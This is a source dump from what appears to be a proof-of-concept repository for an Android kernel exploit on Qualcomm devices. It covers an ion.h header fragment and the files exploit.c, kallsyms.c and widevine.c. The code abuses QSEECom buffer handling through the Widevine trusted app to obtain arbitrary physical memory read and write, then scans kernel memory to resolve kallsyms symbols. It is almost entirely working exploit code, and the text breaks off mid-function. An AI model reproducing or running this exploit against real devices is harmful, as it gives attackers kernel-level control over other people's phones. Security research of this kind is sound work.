| * Takes an ion_fd_data struct with the handle field populated with a valid 168 | * opaque handle. Returns the struct with the fd field set to a file 169 | * descriptor open in the current address space. This file descriptor 170 | * can then be passed to another process. The corresponding opaque handle can 171 | * be retrieved via ION_IOC_IMPORT. 172 | */ 173 | #define ION_IOC_SHARE _IOWR(ION_IOC_MAGIC, 4, struct ion_fd_data) 174 | 175 | /** 176 | * DOC: ION_IOC_IMPORT - imports a shared file descriptor 177 | * 178 | * Takes an ion_fd_data struct with the fd field populated with a valid file 179 | * descriptor obtained from ION_IOC_SHARE and returns the struct with the handle 180 | * filed set to the corresponding opaque handle. 181 | */ 182 | #define ION_IOC_IMPORT _IOWR(ION_IOC_MAGIC, 5, struct ion_fd_data) 183 | 184 | /** 185 | * DOC: ION_IOC_SYNC - syncs a shared file descriptors to memory 186 | * 187 | * Deprecated in favor of using the dma_buf api's correctly (syncing 188 | * will happen automatically when the buffer is mapped to a device). 189 | * If necessary should be used after touching a cached buffer from the cpu, 190 | * this will make the buffer in memory coherent. 191 | */ 192 | #define ION_IOC_SYNC _IOWR(ION_IOC_MAGIC, 7, struct ion_fd_data) 193 | 194 | /** 195 | * DOC: ION_IOC_CUSTOM - call architecture specific ion ioctl 196 | * 197 | * Takes the argument of the architecture specific ioctl to call and 198 | * passes appropriate userdata for that ioctl 199 | */ 200 | #define ION_IOC_CUSTOM _IOWR(ION_IOC_MAGIC, 6, struct ion_custom_data) 201 | 202 | #endif /* _UAPI_LINUX_ION_H */ 203 | -------------------------------------------------------------------------------- /jni/exploit.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | 7 | #include "linux_uapi/msm_ion.h" 8 | #include "ion.h" 9 | #include "QSEEComAPI.h" 10 | #include "widevine.h" 11 | #include "exploit.h" 12 | 13 | #define MAX_32BIT_ION_ATTEMPTS (1000) 14 | // Print the progress after this amount of failed attempts 15 | #define ATTEMPTS_PRINT_PROGRESS (100) 16 | #define SYSTEM_ION_SIZE (0x2000) 17 | 18 | static struct QSEECom_ion_fd_info g_exploit_fd_info = {0}; 19 | static struct QSEECom_ion_fd_info g_regular_fd_info = {0}; 20 | // In the kernel the qseecom related ION heaps are all referenced as "qsecom", 21 | // with a single e. I'd like to think it's a typo, but they're pretty 22 | // consistent with it so who knows. Anyway, if that's how they decide to call 23 | // it, who am I to argue. 24 | static ion_data_t g_ion_qsecom = {0}; 25 | static ion_data_t g_ion_system = {0}; 26 | 27 | // This function tries to allocate a multi-page ION buffer on the system heap, 28 | // whose physical addresses fit in 32 bits 29 | // The idea is that QSEECom_send_modified_cmd (without the _64 postfix) writes 30 | // the physical addresses of the ION buffers it receives as 32 bits, so it 31 | // fails if it receives an ION buffer whose physical addresses don't fit. We 32 | // use this to sort of "spray" system ION allocations, until we reach one that 33 | // fits. 34 | // I'm not entirely sure what causes 32 bit physical addresses to be available 35 | // or unavailable. If you can't get this to work after multiple tries, you 36 | // might want to reboot your device or increase MAX_32BIT_ION_ATTEMPTS. 37 | static int get_32bit_system_ion(void) 38 | { 39 | int result = 0; 40 | ion_data_t ion_datas[MAX_32BIT_ION_ATTEMPTS] = {{0}}; 41 | struct QSEECom_handle *handle = widevine_get_handle(); 42 | size_t i = 0; 43 | 44 | for (; i < MAX_32BIT_ION_ATTEMPTS; i++) { 45 | ion_data_t *cur_data = ion_datas + i; 46 | if (0 == ion_memalloc(SYSTEM_ION_SIZE, ION_SYSTEM_HEAP_ID, cur_data)) { 47 | fprintf(stderr, 48 | "[-] Failed to allocate system ION at attempt #%zu\n", i); 49 | goto cleanup; 50 | } 51 | 52 | // Try to send a 32 bit modified cmd, if it fails then the physical 53 | // addresses don't fit in 32 bits 54 | uint8_t cmd[0x200] = {0}; 55 | uint8_t resp[0x8] = {0}; 56 | struct QSEECom_ion_fd_info fd_info = {0}; 57 | fd_info.data[0].fd = cur_data->fd; 58 | if (0 == QSEECom_send_modified_cmd(handle, cmd, sizeof(cmd), resp, 59 | sizeof(resp), &fd_info)) { 60 | break; 61 | } 62 | // In theory, other errors could also cause ENOMEM, but physical 63 | // addresses not fitting in 32 bits is by far the most likely one 64 | if (ENOMEM != errno) { 65 | fprintf(stderr, 66 | "[-] Unexpected error checking system ION's addresses\n"); 67 | goto cleanup; 68 | } 69 | 70 | if (0 == (i + 1) % ATTEMPTS_PRINT_PROGRESS) { 71 | fprintf(stderr, "[-] %zu/%zu attempts in allocating system IONs " 72 | "resulted in 64 bit addresses\n", 73 | i + 1, MAX_32BIT_ION_ATTEMPTS); 74 | } 75 | } 76 | 77 | if (MAX_32BIT_ION_ATTEMPTS == i) { 78 | fprintf(stderr, "[-] Perhaps a reboot would do the trick? Or maybe " 79 | "just play with the device for a bit and then try again?\n"); 80 | goto cleanup; 81 | } 82 | 83 | g_ion_system = ion_datas[i]; 84 | result = 1; 85 | 86 | cleanup: 87 | // Free all the failed allocations 88 | for (size_t j = 0; j <= i; j++) { 89 | // If we succeeded make sure not to free it 90 | if (1 != result || j != i) { 91 | ion_memfree(ion_datas + j); 92 | } 93 | } 94 | return result; 95 | } 96 | 97 | int exploit_setup(void) 98 | { 99 | if (0 == ion_memalloc(EXPLOIT_BUFFER_SIZE, ION_QSECOM_HEAP_ID, 100 | &g_ion_qsecom)) { 101 | fprintf(stderr, "[-] Failed to allocate qsecom ION buffer\n"); 102 | return 0; 103 | } 104 | 105 | if (0 == get_32bit_system_ion()) { 106 | return 0; 107 | } 108 | fprintf(stderr, "[+] Got a 32 bit addresses ION\n"); 109 | 110 | // An fd_info to use for regular (non-exploit) encrypt and decrypt 111 | // operations 112 | g_regular_fd_info.data[0].fd = g_ion_qsecom.fd; 113 | g_regular_fd_info.data[0].cmd_buf_offset = WIDEVINE_CMD_IN_OFFSET; 114 | g_regular_fd_info.data[1].fd = g_ion_qsecom.fd; 115 | g_regular_fd_info.data[1].cmd_buf_offset = WIDEVINE_CMD_OUT_OFFSET; 116 | 117 | // *This is the vulnerability* 118 | // First, we put the system ION whitelist entries at offset 0x100, which is 119 | // far from the actual command contents 120 | g_exploit_fd_info.data[0].fd = g_ion_system.fd; 121 | g_exploit_fd_info.data[0].cmd_buf_offset = 0x100; 122 | // Now, we replace the size of the first whitelist entry with the address 123 | // of our qsecom ION buffer. This also zeroes the 4 lower bytes of the 124 | // address of the next entry, but we don't care. 125 | g_exploit_fd_info.data[1].fd = g_ion_qsecom.fd; 126 | g_exploit_fd_info.data[1].cmd_buf_offset = 0x100 + 8; 127 | // Lastly, we replace the 4 lower bytes of the address of the first 128 | // whitelist entry with the 4 higher bytes of the address of our qsecom ION 129 | // buffer. We expect the 4 higher bytes of the qsecom ION to be zero, which 130 | // means this zeroes the 4 lower bytes of the whitelist entry address. 131 | g_exploit_fd_info.data[2].fd = g_ion_qsecom.fd; 132 | g_exploit_fd_info.data[2].cmd_buf_offset = 0x100 - 4; 133 | // At this point, the first whitelist entry of the system ION is: 134 | // address = 0x0000000000000000 (4 zeroed lower bytes + 4 zero higher bytes 135 | // as we know the address fits in 32 bits) 136 | // size = qsecom physical address 137 | // This basically means everything up until the qsecom ION buffer is 138 | // whitelisted. Given that the kernel code and data should be before the 139 | // qsecom ION buffer, this gives us access to all of it. 140 | 141 | // We also want one address in the command itself to point to the qsecom 142 | // ION buffer, as we do want the exploit operations to be from/into data 143 | // that we control. The offset (being in or out) will be set depending on 144 | // the operation itself. 145 | g_exploit_fd_info.data[3].fd = g_ion_qsecom.fd; 146 | 147 | return 1; 148 | } 149 | 150 | int exploit_phys_write(physaddr_t addr, const void *data, size_t len) 151 | { 152 | // First just encrypt the data in place 153 | memcpy(g_ion_qsecom.map, data, len); 154 | if (0 == widevine_send_encrypt(0, 0, len, &g_regular_fd_info)) { 155 | fprintf(stderr, "[-] Failed to encrypt in place for phys_write\n"); 156 | return 0; 157 | } 158 | // Now decrypt the data into the given physical address 159 | g_exploit_fd_info.data[3].cmd_buf_offset = WIDEVINE_CMD_IN_OFFSET; 160 | if (0 == widevine_send_decrypt(0, addr, len, &g_exploit_fd_info)) { 161 | fprintf(stderr, 162 | "[-] Failed to write to physical address: 0x%016" 163 | PRIx64 ", write size: 0x%zx\n", addr, len); 164 | return 0; 165 | } 166 | return 1; 167 | } 168 | 169 | int exploit_phys_read(void *buf, physaddr_t addr, size_t len) 170 | { 171 | // Encrypt the data into our ION 172 | g_exploit_fd_info.data[3].cmd_buf_offset = WIDEVINE_CMD_OUT_OFFSET; 173 | if (0 == widevine_send_encrypt(addr, 0, len, &g_exploit_fd_info)) { 174 | fprintf(stderr, 175 | "[-] Failed to read physical address: 0x%016" 176 | PRIx64 ", read size: 0x%zx\n", addr, len); 177 | return 0; 178 | } 179 | // Now just decrypt the data in place 180 | if (0 == widevine_send_decrypt(0, 0, len, &g_regular_fd_info)) { 181 | fprintf(stderr, "[-] Failed to decrypt in place for phys_read\n"); 182 | return 0; 183 | } 184 | memcpy(buf, g_ion_qsecom.map, len); 185 | return 1; 186 | } 187 | -------------------------------------------------------------------------------- /jni/kallsyms.c: -------------------------------------------------------------------------------- 1 | // Note that the technique used here to find kallsyms is pretty crude. It does 2 | // work on the devices I tried (mostly Pixels), but I have no idea how well 3 | // this does against other devices. 4 | // My intention here wasn't to build a full robust kallsyms finder, but rather 5 | // a quick and simple PoC for the exploit. 6 | 7 | #include 8 | #include 9 | #include 10 | #include 11 | 12 | #include "defs.h" 13 | #include "exploit.h" 14 | #include "kallsyms.h" 15 | 16 | // Small chunk to read each time when performing that first search 17 | #define SMALL_READ_SIZE (0x00020000) 18 | // I'm not entirely sure why, but for some reason using the full exploit buffer 19 | // can sometimes fail 20 | #define READ_BUFFER_SIZE (EXPLOIT_BUFFER_SIZE - 0x1000) 21 | // Every kallsyms symbol should be aligned to this 22 | #define KALLSYMS_ALIGN (0x100) 23 | #define KALLSYMS_TOKENS_NUM (0x100) 24 | #define SEARCH_SIZE (0x02000000) 25 | // Maximum size a kallsyms name can have 26 | #define KSYM_NAME_LEN (128) 27 | 28 | // The buffer we read all the data into 29 | static uint8_t g_read_buf[READ_BUFFER_SIZE] = {0}; 30 | 31 | // All the kallsyms goodies 32 | // The pointers should eventually point to inside g_read_buf 33 | static uint64_t g_kallsyms_num_syms; 34 | static uint64_t g_kallsyms_relative_base = 0; 35 | static void *g_kallsyms_addresses; 36 | static char *g_kallsyms_names; 37 | static char *g_kallsyms_token_table; 38 | static uint16_t *g_kallsyms_token_index; 39 | 40 | // Scan the kernel memory looking for a specific marker that should indicate 41 | // where the kallsyms_token_table is 42 | static physaddr_t find_kallsyms_token_table(void) 43 | { 44 | // Loosely based on 45 | // https://github.com/marin-m/vmlinux-to-elf/blob/92925eebfc85de40deb506ec2227e22abd9b7d6f/vmlinux_to_elf/kallsyms_finder.py#L386 46 | const char token_table_marker[] = {'7', 0, '8', 0, '9', 0}; 47 | physaddr_t marker_addr = 0; 48 | 49 | // Read in small chunks so we don't accidentally try to read something we 50 | // can't read 51 | // This does leave open the possibility of our token table marker being 52 | // exactly between two chunks, but that's very unlikely 53 | for (physaddr_t addr = KERNEL_PHYS_BASE; 54 | addr < KERNEL_PHYS_BASE + SEARCH_SIZE; 55 | addr += SMALL_READ_SIZE) 56 | { 57 | if (0 == exploit_phys_read(g_read_buf, addr, SMALL_READ_SIZE)) { 58 | return 0; 59 | } 60 | 61 | uint8_t *pos = g_read_buf; 62 | do { 63 | pos = (uint8_t *)memmem(pos, SMALL_READ_SIZE - (pos - g_read_buf), 64 | token_table_marker, 65 | sizeof(token_table_marker)); 66 | if (NULL == pos) { 67 | break; 68 | } 69 | pos += sizeof(token_table_marker); 70 | // If the bytes after the marker are one of those then this isn't 71 | // actually the token table 72 | } while (0x3a == *pos || 0 == *pos); 73 | 74 | if (NULL != pos) { 75 | marker_addr = addr + (pos - g_read_buf); 76 | break; 77 | } 78 | } 79 | 80 | if (0 == marker_addr) { 81 | fprintf(stderr, "[-] Failed to find kallsyms_token_table marker\n"); 82 | return 0; 83 | } 84 | 85 | fprintf(stderr, "[+] Found kallsyms_token_table marker\n"); 86 | 87 | // Just to make sure no data got chunked out, read again from this point 88 | // backwards, aligned 89 | physaddr_t read_start = (marker_addr - (marker_addr % KALLSYMS_ALIGN)) - 90 | SMALL_READ_SIZE; 91 | if (0 == exploit_phys_read(g_read_buf, read_start, SMALL_READ_SIZE)) { 92 | return 0; 93 | } 94 | // Now scan backwards looking for where the token table starts 95 | // Just before the token table there should be 4 zero bytes 96 | for (uint8_t *pos = g_read_buf + SMALL_READ_SIZE; 97 | pos - KALLSYMS_ALIGN > g_read_buf; 98 | pos -= KALLSYMS_ALIGN) 99 | { 100 | if (0 == *(uint32_t *)(pos - 4)) { 101 | return read_start + (pos - g_read_buf); 102 | } 103 | } 104 | 105 | fprintf(stderr, "[-] Failed to find kallsyms_token_table start\n"); 106 | return 0; 107 | } 108 | 109 | int kallsyms_find(void) 110 | { 111 | physaddr_t token_table = find_kallsyms_token_table(); 112 | if (0 == token_table) { 113 | return 0; 114 | } 115 | 116 | // Now that we know we're not gonna hit any memory we can't read, we can 117 | // read everything in one big chunk 118 | // We want to mostly read data before the token table, but still leave room 119 | // of SMALL_READ_SIZE for the token index 120 | physaddr_t addr_diff = sizeof(g_read_buf) - SMALL_READ_SIZE; 121 | physaddr_t read_addr = token_table - addr_diff; 122 | if (0 == exploit_phys_read(g_read_buf, read_addr, sizeof(g_read_buf))) { 123 | return 0; 124 | } 125 | g_kallsyms_token_table = (char *)(g_read_buf + addr_diff); 126 | 127 | // Read backwards until we reach a kernel pointer, which would indicate 128 | // we've reached either kallsyms_addresses or kallsyms_relative_base 129 | // The indicator we use for kernel pointers is that they all should begin 130 | // with 0xffffff 131 | uint8_t *pos = g_read_buf + sizeof(g_read_buf); 132 | for (; 0xffffff != *(uint64_t *)pos >> 40; pos -= KALLSYMS_ALIGN) { 133 | if (pos < g_read_buf) { 134 | fprintf(stderr, 135 | "[-] Failed to find a kernel pointer in kallsyms\n"); 136 | return 0; 137 | } 138 | } 139 | // Straight after, there should be kallsyms_num_syms and kallsyms_names 140 | g_kallsyms_num_syms = *(uint64_t *)(pos + KALLSYMS_ALIGN); 141 | g_kallsyms_names = (char *)(pos + (KALLSYMS_ALIGN * 2)); 142 | 143 | // If there isn't another pointer straight behind, then the addresses 144 | // are relative 145 | if (*(uint64_t *)(pos - 8) >> 40 != 0xffffff) { 146 | g_kallsyms_relative_base = *(uint64_t *)pos; 147 | } 148 | 149 | // Find the first kallsyms address: _head 150 | for (; ; pos -= KALLSYMS_ALIGN) { 151 | if (pos < g_read_buf) { 152 | fprintf(stderr, 153 | "[-] Failed to find start of kallsyms_addresses\n"); 154 | return 0; 155 | } 156 | uint64_t *addr = (uint64_t *)pos; 157 | 158 | if (0 != g_kallsyms_relative_base) { 159 | // For relative addresses, simply find 0 160 | if (0 == *addr) { 161 | break; 162 | } 163 | } else { 164 | // For non-relative addresses, _head should have the same value as 165 | // the next address (_text), and it's supposed to point to a 166 | // beginning of a page, so its last 3 nibbles should be 0 167 | if (addr[0] == addr[1] && 0 == (addr[0] & 0xfff)) { 168 | break; 169 | } 170 | } 171 | } 172 | g_kallsyms_addresses = (uint64_t *)pos; 173 | 174 | // Now to find the token index, read KALLSYMS_TOKENS_NUM strings from the 175 | // token table, the token index should be after it 176 | pos = (uint8_t *)g_kallsyms_token_table; 177 | for (size_t i = 0; i < KALLSYMS_TOKENS_NUM; i++) { 178 | pos += strlen((char *)pos) + 1; 179 | } 180 | pos += KALLSYMS_ALIGN - ((pos - g_read_buf) % KALLSYMS_ALIGN); 181 | g_kallsyms_token_index = (uint16_t *)pos; 182 | 183 | return 1; 184 | } 185 | 186 | uint64_t kallsyms_lookup_name(const char *name) 187 | { 188 | char name_buf[KSYM_NAME_LEN]; 189 | 190 | // Go over each name to see if it's the one we want 191 | uint8_t *pos = (uint8_t *)g_kallsyms_names; 192 | for (uint64_t i = 0; i < g_kallsyms_num_syms; i++) { 193 | // Expand the name using the token table 194 | memset(name_buf, 0, sizeof(name_buf)); 195 | uint8_t *end = pos + *pos + 1; 196 | pos++; 197 | for (; pos < end; pos++) { 198 | strcat(name_buf, 199 | g_kallsyms_token_table + g_kallsyms_token_index[*pos]); 200 | } 201 | // Check if the expanded name is what we're looking for 202 | if (strcmp(name_buf + 1, name) == 0) { 203 | if (0 != g_kallsyms_relative_base) { 204 | return ((uint32_t *)g_kallsyms_addresses)[i] + 205 | g_kallsyms_relative_base; 206 | } else { 207 | return ((uint64_t *)g_kallsyms_addresses)[i]; 208 | } 209 | } 210 | } 211 | 212 | fprintf(stderr, "[-] Failed to find kallsyms symbol: %s\n", name); 213 | return 0; 214 | } 215 | -------------------------------------------------------------------------------- /jni/widevine.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | 6 | #include "QSEEComAPI.h" 7 | #include "ion.h" 8 | #include "linux_uapi/msm_ion.h" 9 | #include "widevine.h" 10 | 11 | #define APP_NAME "widevine" 12 | #define APP_PATH "/vendor/firmware" 13 | #define ION_SIZE (0x10000) 14 | #define RESP_LEN (0xc) 15 | 16 | #define SEND_CMD(cmd, num, expected_result) \ 17 | do { \ 18 | if (0 == send_widevine_cmd((void *)(cmd), sizeof(cmd), (num), \ 19 | (expected_result))) { \ 20 | return 0; \ 21 | } \ 22 | } while (0); 23 | 24 | static struct QSEECom_handle *g_handle = NULL; 25 | 26 | static int send_widevine_cmd(void *cmd, uint32_t len, unsigned int cmd_num, 27 | uint32_t expected_result) 28 | { 29 | uint8_t resp[RESP_LEN] = {0}; 30 | if (0 != QSEECom_send_cmd(g_handle, cmd, len, resp, sizeof(resp))) { 31 | fprintf(stderr, "[-] Failed to send command #%u\n", cmd_num); 32 | return 0; 33 | } 34 | uint32_t cmd_result = *(uint32_t *)(resp + 4); 35 | if (expected_result != cmd_result) { 36 | fprintf(stderr, 37 | "[-] Command #%u returned bad result: 0x%" PRIx32 "\n", 38 | cmd_num, cmd_result); 39 | return 0; 40 | } 41 | return 1; 42 | } 43 | 44 | // Sanity: Check that we can encrypt and decrypt and receive the original data 45 | static int sanity_encrypt_decrypt(void) 46 | { 47 | int result = 0; 48 | static const char data[] = { 49 | 0x00, 0x01, 0x02, 0x03, 0x04, 0x05, 0x06, 0x07, 0x08, 0x09, 0x0a, 0x0b, 50 | 0x0c, 0x0d, 0x0e, 0x0f 51 | }; 52 | 53 | // Prepare an ION mapping with the data 54 | ion_data_t ion_data = {0}; 55 | if (0 == ion_memalloc(0x1000, ION_QSECOM_HEAP_ID, &ion_data)) { 56 | fprintf(stderr, "[-] Sanity ION allocation failed\n"); 57 | return 0; 58 | } 59 | struct QSEECom_ion_fd_info fd_info = {0}; 60 | memcpy(ion_data.map, data, sizeof(data)); 61 | 62 | // Send commands to encrypt and decrypt the same data 63 | fd_info.data[0].fd = ion_data.fd; 64 | fd_info.data[0].cmd_buf_offset = WIDEVINE_CMD_IN_OFFSET; 65 | fd_info.data[1].fd = ion_data.fd; 66 | fd_info.data[1].cmd_buf_offset = WIDEVINE_CMD_OUT_OFFSET; 67 | if (0 == widevine_send_encrypt(0, 0, sizeof(data), &fd_info)) { 68 | fprintf(stderr, "[-] Sanity encrypt failed\n"); 69 | goto cleanup; 70 | } 71 | // Make sure data was actually encrypted 72 | if (0 == memcmp(ion_data.map, data, sizeof(data))) { 73 | fprintf(stderr, 74 | "[-] Sanity encrypt didn't actually encrypt anything...\n"); 75 | goto cleanup; 76 | } 77 | if (0 == widevine_send_decrypt(0, 0, sizeof(data), &fd_info)) { 78 | fprintf(stderr, "[-] Sanity decrypt failed\n"); 79 | goto cleanup; 80 | } 81 | // Now check that the decrypted data is same as the original 82 | if (0 != memcmp(ion_data.map, data, sizeof(data))) { 83 | fprintf(stderr, 84 | "[-] Sanity decrypt data != encrypt data\n"); 85 | goto cleanup; 86 | } 87 | 88 | result = 1; 89 | 90 | cleanup: 91 | ion_memfree(&ion_data); 92 | return result; 93 | } 94 | 95 | int widevine_setup(void) 96 | { 97 | if (0 != QSEECom_start_app(&g_handle, APP_PATH, APP_NAME, ION_SIZE)) { 98 | fprintf(stderr, "[-] Failed to start widevine app\n"); 99 | return 0; 100 | } 101 | 102 | // Widevine itself is out of the scope of the exploit, so I'm not going to 103 | // expand too much about what's going on here 104 | // The key is that we want widevine to be able to perform encrypt and 105 | // decrypt operations, as they receive their data from non-secure memory. 106 | // The set of commands in here are commands we send to widevine, which set 107 | // it up to be able to perform encrypt and decrypt operations 108 | 109 | static const uint8_t cmd1[] = { 110 | 0x01, 0x10, 0x06, 0x00, 0x0f, 0x00, 0x00, 0x00 111 | }; 112 | SEND_CMD(cmd1, 1, 0); 113 | 114 | static const uint8_t cmd2[] = { 0x30, 0x10, 0x06, 0x00 }; 115 | SEND_CMD(cmd2, 2, 0); 116 | 117 | static const uint8_t cmd3[] = { 0x2c, 0x10, 0x06, 0x00 }; 118 | SEND_CMD(cmd3, 3, 0); 119 | 120 | static const uint8_t cmd4[] = { 0x03, 0x10, 0x06, 0x00 }; 121 | SEND_CMD(cmd4, 4, 1); 122 | 123 | static uint8_t cmd5[0xa010] = {0}; 124 | static const uint8_t cmd5_part1[] = { 125 | 0x05, 0x10, 0x06, 0x00, 0x01, 0x00, 0x00, 0x00, 0x41, 0x55, 0x54, 0x48, 126 | 0x45, 0x4e, 0x54, 0x49, 0x43, 0x41, 0x54, 0x49, 0x4f, 0x4e, 0x00, 0x0a, 127 | 0x4c, 0x08, 0x00, 0x12, 0x48, 0x00, 0x00, 0x00, 0x02, 0x00, 0x00, 0x10, 128 | 0x19, 0x07, 0xd9, 0xff, 0xde, 0x13, 0xaa, 0x95, 0xc1, 0x22, 0x67, 0x80, 129 | 0x53, 0x36, 0x21, 0x36, 0xbd, 0xf8, 0x40, 0x8f, 0x82, 0x76, 0xe4, 0xc2, 130 | 0xd8, 0x7e, 0xc5, 0x2b, 0x61, 0xaa, 0x1b, 0x9f, 0x64, 0x6e, 0x58, 0x73, 131 | 0x49, 0x30, 0xac, 0xeb, 0xe8, 0x99, 0xb3, 0xe4, 0x64, 0x18, 0x9a, 0x14, 132 | 0xa8, 0x72, 0x02, 0xfb, 0x02, 0x57, 0x4e, 0x70, 0x64, 0x0b, 0xd2, 0x2e, 133 | 0xf4, 0x4b, 0x2d, 0x7e, 0x39, 0x12, 0x25, 0x0a, 0x23, 0x0a, 0x14, 0x08, 134 | 0x01, 0x12, 0x10, 0x09, 0x15, 0x00, 0x7c, 0xaa, 0x9b, 0x59, 0x31, 0xb7, 135 | 0x6a, 0x3a, 0x85, 0xf0, 0x46, 0x52, 0x3e, 0x10, 0x01, 0x1a, 0x09, 0x39, 136 | 0x38, 0x37, 0x36, 0x35, 0x34, 0x33, 0x32, 0x31, 0x18, 0x01, 0x20, 0x00, 137 | 0x2a, 0x0c, 0x31, 0x38, 0x38, 0x36, 0x37, 0x38, 0x37, 0x34, 0x30, 0x35, 138 | 0x00, 0x00, 0x00, 0x00, 0x02 139 | }; 140 | static const uint8_t cmd5_part2[] = { 141 | 0x9a, 0x00, 0x00, 0x00, 0x45, 0x4e, 0x43, 0x52, 0x59, 0x50, 0x54, 0x49, 142 | 0x4f, 0x4e, 0x00, 0x0a, 0x4c, 0x08, 0x00, 0x12, 0x48, 0x00, 0x00, 0x00, 143 | 0x02, 0x00, 0x00, 0x10, 0x19, 0x07, 0xd9, 0xff, 0xde, 0x13, 0xaa, 0x95, 144 | 0xc1, 0x22, 0x67, 0x80, 0x53, 0x36, 0x21, 0x36, 0xbd, 0xf8, 0x40, 0x8f, 145 | 0x82, 0x76, 0xe4, 0xc2, 0xd8, 0x7e, 0xc5, 0x2b, 0x61, 0xaa, 0x1b, 0x9f, 146 | 0x64, 0x6e, 0x58, 0x73, 0x49, 0x30, 0xac, 0xeb, 0xe8, 0x99, 0xb3, 0xe4, 147 | 0x64, 0x18, 0x9a, 0x14, 0xa8, 0x72, 0x02, 0xfb, 0x02, 0x57, 0x4e, 0x70, 148 | 0x64, 0x0b, 0xd2, 0x2e, 0xf4, 0x4b, 0x2d, 0x7e, 0x39, 0x12, 0x25, 0x0a, 149 | 0x23, 0x0a, 0x14, 0x08, 0x01, 0x12, 0x10, 0x09, 0x15, 0x00, 0x7c, 0xaa, 150 | 0x9b, 0x59, 0x31, 0xb7, 0x6a, 0x3a, 0x85, 0xf0, 0x46, 0x52, 0x3e, 0x10, 151 | 0x01, 0x1a, 0x09, 0x39, 0x38, 0x37, 0x36, 0x35, 0x34, 0x33, 0x32, 0x31, 152 | 0x18, 0x01, 0x20, 0x00, 0x2a, 0x0c, 0x31, 0x38, 0x38, 0x36, 0x37, 0x38, 153 | 0x37, 0x34, 0x30, 0x35, 0x00, 0x00, 0x00, 0x00, 0x00, 0x80 154 | }; 155 | memcpy(cmd5, cmd5_part1, sizeof(cmd5_part1)); 156 | memcpy(cmd5 + 0x5008, cmd5_part2, sizeof(cmd5_part2)); 157 | cmd5[0xa00c] = 0x96; 158 | SEND_CMD(cmd5, 5, 0); 159 | 160 | static uint8_t cmd6[0xc8e6] = {0}; 161 | static const uint8_t cmd6_part1[] = { 162 | 0x33, 0x10, 0x06, 0x00, 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 163 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 164 | 0x10, 0x00, 0x00, 0x00, 0x41, 0x57, 0x91, 0x49, 0xea, 0xb7, 0xfd, 0xec, 165 | 0xbd, 0x33, 0xc9, 0x74, 0x24, 0xa8, 0x51, 0xc5, 0x04, 0x04, 0x04, 0x04, 166 | 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 167 | 0x10, 0x00, 0x00, 0x00, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 168 | 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 169 | 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 170 | 0xff, 0xa3, 0x92, 0x3f, 0x6b, 0x36, 0x5f, 0x54, 0x42, 0xf1, 0xd9, 0x27, 171 | 0x94, 0xfb, 0x62, 0x61, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 172 | 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0x04, 0xa0, 0xe0, 0xd2, 0x33, 173 | 0xae, 0xd3, 0xaa, 0x35, 0xd6, 0xa0, 0xdc, 0x4a, 0x5f, 0x50, 0x7e, 0xd6, 174 | 0xaf, 0x7d, 0x78, 0xc4, 0xa2, 0x9b, 0xed, 0x06, 0x85, 0x02, 0x8c, 0x11, 175 | 0x01, 0x81, 0x22, 0x4e, 0x34, 0xa8, 0xff, 0x9c, 0x6a, 0xfb, 0xad, 0xde, 176 | 0xbf, 0x92, 0x78, 0x9b, 0xc2, 0x75, 0x5f, 0xff, 0x50, 0x17, 0xef, 0xff, 177 | 0x47, 0xfe, 0xca, 0x13, 0xa8, 0x3a, 0x37, 0x40, 0xdb, 0xd8, 0x97, 0xd0, 178 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0xb8, 0xbf, 0x60, 0xeb, 179 | 0x0b 180 | }; 181 | static const uint8_t cmd6_part2[] = { 182 | 0xc8, 0x00, 0x00, 0x00, 0x90, 0xd0, 0x8a, 0x4f, 0x93, 0xc6, 0xfa, 0x0f, 183 | 0x2c, 0x4d, 0xc3, 0x0e, 0xdb, 0xa1, 0x39, 0xb5, 0xb2, 0xc6, 0xca, 0x74, 184 | 0x0a, 0x29, 0x98, 0x33, 0x1a, 0x11, 0xa6, 0x72, 0xf8, 0xbc, 0xd4, 0x2f, 185 | 0x20, 0x00, 0x00, 0x00, 0x68, 0x00, 0x00, 0x00, 0x78, 0x00, 0x00, 0x00, 186 | 0x01, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 187 | 0x10, 0x00, 0x00, 0x00, 0x38, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 188 | 0x14, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x10, 0x00, 0x00, 0x00, 189 | 0x48, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x00, 0x58, 0x00, 0x00, 0x00, 190 | 0x00, 0x00, 0x00, 0x00, 0x00, 0x70, 0x40, 0xeb 191 | }; 192 | memcpy(cmd6, cmd6_part1, sizeof(cmd6_part1)); 193 | memcpy(cmd6 + 0xa008, cmd6_part2, sizeof(cmd6_part2)); 194 | cmd6[0xc8dd] = 0x01; 195 | SEND_CMD(cmd6, 6, 0); 196 | 197 | if (0 == sanity_encrypt_decrypt()) { 198 | return 0; 199 | } 200 | 201 | return 1; 202 | } 203 | 204 | // Send either an encrypt or decrypt command 205 | static int send_crypt_cmd(const char *cmd_name, uint32_t cmd_id, 206 | physaddr_t in_addr, physaddr_t out_addr, 207 | uint32_t len, struct QSEECom_ion_fd_info *fd_info) 208 | { 209 | if (0 != len % WIDEVINE_LEN_ALIGN) { 210 | fprintf(stderr, "[-] Bad %s len: 0x%" PRIx32 "\n", cmd_name, len); 211 | return 0; 212 | } 213 | 214 | uint8_t cmd[0x200] = {0}; 215 | *(uint32_t *)(cmd + 0x00) = cmd_id; 216 | *(uint32_t *)(cmd + 0x04) = 1; 217 | *(uint64_t *)(cmd + 0x08) = in_addr; 218 | *(uint32_t *)(cmd + 0x10) = len; 219 | *(uint64_t *)(cmd + 0x28) = 